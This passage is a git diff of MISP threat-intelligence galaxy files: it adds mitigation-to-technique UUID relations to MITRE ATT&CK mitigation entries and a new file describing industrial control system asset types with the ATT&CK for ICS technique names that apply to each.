"mitigates" + }, + { + "dest-uuid": "cc89ecbd-3d33-4a41-bcca-001e702d18fd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "6e3bd510-6b33-41a4-af80-2d80f3ee0071", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "6836813e-8ec8-4375-b459-abb388cb1a35", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a1b52199-c8c5-438a-9ded-656f1d0888c6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b84903f0-c7d5-435d-a69e-de47cc3578c0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "543fceb5-cb92-40cb-aacf-6913d4db58bc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "37b11151-1776-4f8f-b328-30939fbf2ceb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "bf96a5a3-3bce-43b7-8597-88545984c07b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0c2d00da-7742-49e7-9928-4514e5075d32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "58af3705-8740-4c68-9329-ec015a7013c2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "633a100c-b2c9-41bf-9be5-905c1b16c825", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ffeb0780-356e-4261-b036-cfb6bd234335", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", @@ -9505,6 +12926,62 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "c3c8c916-2f3c-4e71-94b2-240bdfc996f0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "74d2a63f-3c7b-4852-92da-02d8fbab16da", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", @@ -9588,6 +13065,76 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "35187df2-31ed-43b6-a1f5-2f1d3d58d3f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f9e9365a-9ca2-4d9c-8e7c-050d73d1101a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "10ff21b9-5a01-4268-a1b5-3b55015f1847", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b4b7458f-81f2-4d38-84be-1c5ba0167a52", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "960c3c86-1480-4d72-b4e0-8c242e84a5c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "37b11151-1776-4f8f-b328-30939fbf2ceb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "590777b3-b475-4c7c-aaf8-f4a73b140312", @@ -9622,6 +13169,34 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "7f0ca133-88c4-40c6-a62f-b3083a7fbc2e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "16ab6452-c3c1-497c-a47d-206018ca1ada", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1b7b1806-7746-41a1-a35d-e48dae25ddba", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "39131305-9282-45e4-ac3b-591d2d4fc3ef", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "7da0387c-ba92-4553-b291-b636ee42b2eb", @@ -9656,7 +13231,7 @@ "refs": [ "https://attack.mitre.org/mitigations/T1067", "http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf", - "https://technet.microsoft.com/en-us/windows/dn168167.aspx" + "https://docs.microsoft.com/en-us/windows/security/information-protection/secure-the-windows-10-boot-process" ] }, "related": [ @@ -9666,6 +13241,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "1b7b1806-7746-41a1-a35d-e48dae25ddba", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "96150c35-466f-4f0a-97a9-ae87ee27f751", @@ -9700,7 +13282,7 @@ "https://attack.mitre.org/mitigations/T1099", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -9712,6 +13294,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "5c167af7-c2cb-42c8-ae67-3fb275bf8488", @@ -9880,6 +13469,41 @@ "uuid": "03c0c586-50ed-45a7-95f4-f496d7eb5330", "value": "HISTCONTROL Mitigation - T1148" }, + { + "description": "Implementing best practices for websites such as defending against [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) (Citation: OWASP Top 10 2017). Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. (Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", + "meta": { + "external_id": "T1491", + "refs": [ + "https://attack.mitre.org/mitigations/T1491", + "https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/" + ] + }, + "related": [ + { + "dest-uuid": "5909f20f-3c39-4795-be06-ef1ea40d350b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8c41090b-aa47-4331-986b-8c9a51a91103", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0cfe31a7-81fc-472c-bc45-e2808d1066a3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "5d8507c4-603e-4fe1-8a4a-b8241f58734b", + "value": "Defacement Mitigation - T1491" + }, { "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing (Citation: applescript signing). This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.", "meta": { @@ -9991,6 +13615,69 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "a1b52199-c8c5-438a-9ded-656f1d0888c6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "a6a47a06-08fc-4ec4-bdc3-20373375ebb9", @@ -10011,6 +13698,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "ff4821f6-5afb-481b-8c0f-26c28c0d666c", @@ -10180,7 +13874,280 @@ "type": "mitigates" }, { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "6636bc83-0611-45a6-b74f-1f3daf635b8e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8faedf87-dceb-4c35-b2a2-7286f59a3bc3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "35187df2-31ed-43b6-a1f5-2f1d3d58d3f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f9e9365a-9ca2-4d9c-8e7c-050d73d1101a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "10ff21b9-5a01-4268-a1b5-3b55015f1847", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f005e783-57d4-4837-88ad-dbe7faee1c51", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "341e222a-a6e3-4f6f-b69c-831d792b1580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "01327cde-66c4-4123-bf34-5f258d59457b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7ad38ef1-381a-406d-872a-38b136eb5ecc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8d7bd4f5-3a89-4453-9c82-2c8894d5655e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7d77a07d-02fe-4e88-8bd9-e9c008c01bf0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e0033c16-a07e-48aa-8204-7c3ca669998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "70d81154-b187-45f9-8ec5-295d01255979", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "bf96a5a3-3bce-43b7-8597-88545984c07b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0c2d00da-7742-49e7-9928-4514e5075d32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "58af3705-8740-4c68-9329-ec015a7013c2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0c4b4fda-9062-47da-98b9-ceae2dcf052a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "144e007b-e638-431d-a894-45d90c54ab90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "cf1c2504-433f-4c4e-a1f8-91de45a0318c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "70857657-bd0b-4695-ad3e-b13f92cac1b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "77532a55-c283-4cd2-bc5d-2d0b65e9d88c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10191,5 +14158,5 @@ "value": "Audit - M1047" } ], - "version": 16 + "version": 17 } diff --git a/clusters/mitre-ics-assets.json b/clusters/mitre-ics-assets.json new file mode 100644 index 0000000..9310e54 --- /dev/null +++ b/clusters/mitre-ics-assets.json @@ -0,0 +1,287 @@ +{ + "authors": [ + "MITRE" + ], + "category": "asset", + "description": "A list of asset categories that are commonly found in industrial control systems.", + "name": "Assets", + "source": "https://collaborate.mitre.org/attackics/index.php/All_Assets", + "type": "mitre-ics-assets", + "uuid": "0594fbc2-6267-479b-85a3-c4be8e044454", + "values": [ + { + "description": "A device which acts as both a server and controller, that hosts the control software used in communicating with lower-level control devices in an ICS network (e.g. Remote Terminal Units (RTUs) and Programmable Logic Controllers (PLCs)).", + "meta": { + "Levels": [ + "Level 2 https://collaborate.mitre.org/attackics/index.php/Level_2" + ], + "Notes": [ + "A control server may also be referred to with these terms in a SCADA system: MTU, supervisory controller, or SCADA server." + ], + "Techniques That Apply": [ + "Automated Collection https://collaborate.mitre.org/attackics/index.php/Technique/T802", + "Brute Force I/O https://collaborate.mitre.org/attackics/index.php/Technique/T806", + "Commonly Used Port https://collaborate.mitre.org/attackics/index.php/Technique/T885", + "Data Destruction https://collaborate.mitre.org/attackics/index.php/Technique/T809", + "Data from Information Repositories https://collaborate.mitre.org/attackics/index.php/Technique/T811", + "Default Credentials https://collaborate.mitre.org/attackics/index.php/Technique/T812", + "External Remote Services https://collaborate.mitre.org/attackics/index.php/Technique/T822", + "Location Identification https://collaborate.mitre.org/attackics/index.php/Technique/T825", + "Man in the Middle https://collaborate.mitre.org/attackics/index.php/Technique/T830", + "Masquerading https://collaborate.mitre.org/attackics/index.php/Technique/T849", + "Modify Alarm Settings https://collaborate.mitre.org/attackics/index.php/Technique/T838", + "Modify Parameter https://collaborate.mitre.org/attackics/index.php/Technique/T836", + "Monitor Process State https://collaborate.mitre.org/attackics/index.php/Technique/T801 ", + "Point & Tag Identification https://collaborate.mitre.org/attackics/index.php/Technique/T861", + "Remote File Copy https://collaborate.mitre.org/attackics/index.php/Technique/T867", + "Remote System Discovery https://collaborate.mitre.org/attackics/index.php/Technique/T846", + "Replication Through Removable Media https://collaborate.mitre.org/attackics/index.php/Technique/T847", + "Rogue Master Device https://collaborate.mitre.org/attackics/index.php/Technique/T848", + "Role Identification https://collaborate.mitre.org/attackics/index.php/Technique/T850", + "Service Stop https://collaborate.mitre.org/attackics/index.php/Technique/T881", + "Spearphishing Attachment https://collaborate.mitre.org/attackics/index.php/Technique/T865", + "Spoof Reporting Message https://collaborate.mitre.org/attackics/index.php/Technique/T856", + "Standard Application Layer Protocol https://collaborate.mitre.org/attackics/index.php/Technique/T869", + "Valid Accounts https://collaborate.mitre.org/attackics/index.php/Technique/T859" + ], + "refs": [ + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "834fab50-be52-4611-95b6-6330d1db65c3", + "value": "Control Server" + }, + { + "description": "A centralized database located on a computer installed in the control system DMZ supporting external corporate user data access for archival and analysis using statistical process control and other techniques.", + "meta": { + "Levels": [ + "Level 2 https://collaborate.mitre.org/attackics/index.php/Level_2" + ], + "Techniques That Apply": [ + "Data Historian Compromise https://collaborate.mitre.org/attackics/index.php/Technique/T810", + "Data from Information Repositories https://collaborate.mitre.org/attackics/index.php/Technique/T811", + "Exploitation of Remote Services https://collaborate.mitre.org/attackics/index.php/Technique/T866", + "Monitor Process State https://collaborate.mitre.org/attackics/index.php/Technique/T801", + "Point & Tag Identification https://collaborate.mitre.org/attackics/index.php/Technique/T861", + "Remote File Copy https://collaborate.mitre.org/attackics/index.php/Technique/T867", + "Remote System Discovery https://collaborate.mitre.org/attackics/index.php/Technique/T846", + "Replication Through Removable Media https://collaborate.mitre.org/attackics/index.php/Technique/T847", + "Role Identification https://collaborate.mitre.org/attackics/index.php/Technique/T850", + "Service Stop https://collaborate.mitre.org/attackics/index.php/Technique/T881", + "Spearphishing Attachment https://collaborate.mitre.org/attackics/index.php/Technique/T865", + "Standard Application Layer Protocol https://collaborate.mitre.org/attackics/index.php/Technique/T869", + "Valid Accounts https://collaborate.mitre.org/attackics/index.php/Technique/T859" + ], + "refs": [ + "https://ics-cert.us-cert.gov/Secure-Architecture-Design-Definitions" + ] + }, + "uuid": "da06d4aa-2471-4582-aadf-e1653dd6575c", + "value": "Data Historian" + }, + { + "description": "The engineering workstation is usually a high-end very reliable computing platform designed for configuration, maintenance and diagnostics of the control system applications and other control system equipment. The system is usually made up of redundant hard disk drives, high speed network interface, reliable CPUs, performance graphics hardware, and applications that provide configuration and monitoring tools to perform control system application development, compilation and distribution of system modifications.", + "meta": { + "Levels": [ + "Level 0 https://collaborate.mitre.org/attackics/index.php/Level_0 ", + "Level 1 https://collaborate.mitre.org/attackics/index.php/Level_1", + "Level 2 https://collaborate.mitre.org/attackics/index.php/Level_2" + ], + "Notes": [ + "Many engineering workstations are laptops. Because of their mobile nature, lack of desktop standard, and frequent connection to control system devices and network, engineering workstations can serve as entry points for attacks." + ], + "Techniques That Apply": [ + "Commonly Used Port https://collaborate.mitre.org/attackics/index.php/Technique/T885", + "Data from Information Repositories https://collaborate.mitre.org/attackics/index.php/Technique/T811", + "Default Credentials https://collaborate.mitre.org/attackics/index.php/Technique/T812", + "Engineering Workstation Compromise https://collaborate.mitre.org/attackics/index.php/Technique/T818", + "Exploitation of Remote Services https://collaborate.mitre.org/attackics/index.php/Technique/T866", + "Hooking https://collaborate.mitre.org/attackics/index.php/Technique/T874 ", + "Loss of View https://collaborate.mitre.org/attackics/index.php/Technique/T829", + "Manipulation of View https://collaborate.mitre.org/attackics/index.php/Technique/T832", + "Project File Infection https://collaborate.mitre.org/attackics/index.php/Technique/T873", + "Rogue Master Device https://collaborate.mitre.org/attackics/index.php/Technique/T848", + "Scripting https://collaborate.mitre.org/attackics/index.php/Technique/T853", + "Service Stop https://collaborate.mitre.org/attackics/index.php/Technique/T881", + "Spearphishing Attachment https://collaborate.mitre.org/attackics/index.php/Technique/T865", + "Standard Application Layer Protocol https://collaborate.mitre.org/attackics/index.php/Technique/T869", + "User Execution https://collaborate.mitre.org/attackics/index.php/Technique/T863", + "Valid Accounts https://collaborate.mitre.org/attackics/index.php/Technique/T859" + ], + "refss": [ + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "b34cba3b-4294-4149-b119-214fadef0d01", + "value": "Engineering Workstation" + }, + { + "description": "Controller terminology depends on the type of system they are associated with. They provide typical processing capabilities. Controllers, sometimes referred to as Remote Terminal Units (RTU) and Programmable Logic Controllers (PLC), are computerized control units that are typically rack or panel mounted with modular processing and interface cards. The units are collocated with the process equipment and interface through input and output modules to the various sensors and controlled devices. Most utilize a programmable logic-based application that provides scanning and writing of data to and from the IO interface modules and communicates with the control system network via various communications methods, including serial and network communications", + "meta": { + "Levels": [ + "Level 0 https://collaborate.mitre.org/attackics/index.php/Level_0", + "Level 1 https://collaborate.mitre.org/attackics/index.php/Level_1" + ], + "Notes": [ + "Typically programmed in an IEC 61131 programming language, a PLC is designed for real time use in rugged, industrial environments. Connected to sensors and actuators, PLCs are categorized by the number and type of I/O ports they provide and by their I/O scan rate. \nAn RTU is a special purpose field device that supports SCADA remote stations with both wired and wireless communication capabilities, in order to communicate with the supervisory controller. Wireless radio is leveraged in remote situations where wired communications are not available; typically with field equipment. This role may also be fulfilled by PLCs with radio communication capabilities. The PLC may still be referred to as an RTU in this case." + ], + "Techniques That Apply": [ + "Activate Firmware Update Mode https://collaborate.mitre.org/attackics/index.php/Technique/T800", + "Alarm Suppression https://collaborate.mitre.org/attackics/index.php/Technique/T878", + "Automated Collection https://collaborate.mitre.org/attackics/index.php/Technique/T802", + "Block Command Message https://collaborate.mitre.org/attackics/index.php/Technique/T803", + "Block Reporting Message https://collaborate.mitre.org/attackics/index.php/Technique/T804", + "Block Serial COM 